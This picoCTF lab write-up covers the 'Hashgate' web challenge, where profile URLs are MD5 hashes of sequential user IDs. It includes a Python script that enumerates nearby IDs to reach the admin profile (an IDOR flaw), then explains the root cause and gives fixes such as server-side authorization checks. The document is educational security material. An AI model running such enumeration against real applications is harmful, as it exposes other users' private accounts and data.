picoCTF · picoGym Web Exploitation Medium 100 pts

Hashgate — IDOR via MD5-Hashed Sequential IDs

OWASP A01 — Broken Access Control

Vulnerability Overview

The application used MD5(user_id) as the profile URL identifier under the assumption that hash unpredictability would prevent enumeration. However, when the input space is small and partially known (a sequential numeric ID near a disclosed value), the hash provides no security — every possible value can be precomputed and tested.

Reconnaissance

The page source disclosed guest credentials in an HTML comment. After login, the profile URL was:

https://[target]/profile/user/e93028bdc1aacdfb3687181f2031765d

The profile page disclosed the guest's numeric ID: 3000. Verifying the hypothesis:

import hashlib
hashlib.md5("3000".encode()).hexdigest()
# e93028bdc1aacdfb3687181f2031765d ✅

The URL identifier was MD5 of the numeric user ID — fully predictable given the ID.

Exploitation

With ~20 employees noted in the challenge hints and the guest ID at 3000, the admin was likely within a small range. A script enumerated IDs 2980–3020:

import hashlib, requests

base = "http://[target]/profile/user/"
for i in range(2980, 3021):
    h = hashlib.md5(str(i).encode()).hexdigest()
    r = requests.get(base + h).text
    if "flag" in r or "admin" in r.lower():
        print(i, r[:100])
        break

Admin user ID was 3018. No server-side authorization check prevented access.

Root Cause

This is an IDOR vulnerability — the application used a predictable (if hashed) identifier to reference user objects without verifying that the requesting user was authorized to access that object. MD5 of a small integer is not an access control mechanism.

ControlImplementation
Server-side authorization checkOn every profile request, verify session.user_id == requested_user_id or that the requester has admin role
Use UUIDs, not sequential IDsUUIDs (v4) have 122 bits of randomness — not practically enumerable
Understand that hashing ≠ authorizationMD5(sequential_id) provides no security when the input range is guessable
Key Insight: IDOR vulnerabilities are about missing authorization checks, not about whether the reference is guessable. Even with a perfectly random UUID, if the server doesn't verify that the requesting user is permitted to access the resource, the application is vulnerable to IDOR. Obscuring the identifier is not a substitute for enforcing access control.
Flag See challenge on picoCTF picoGym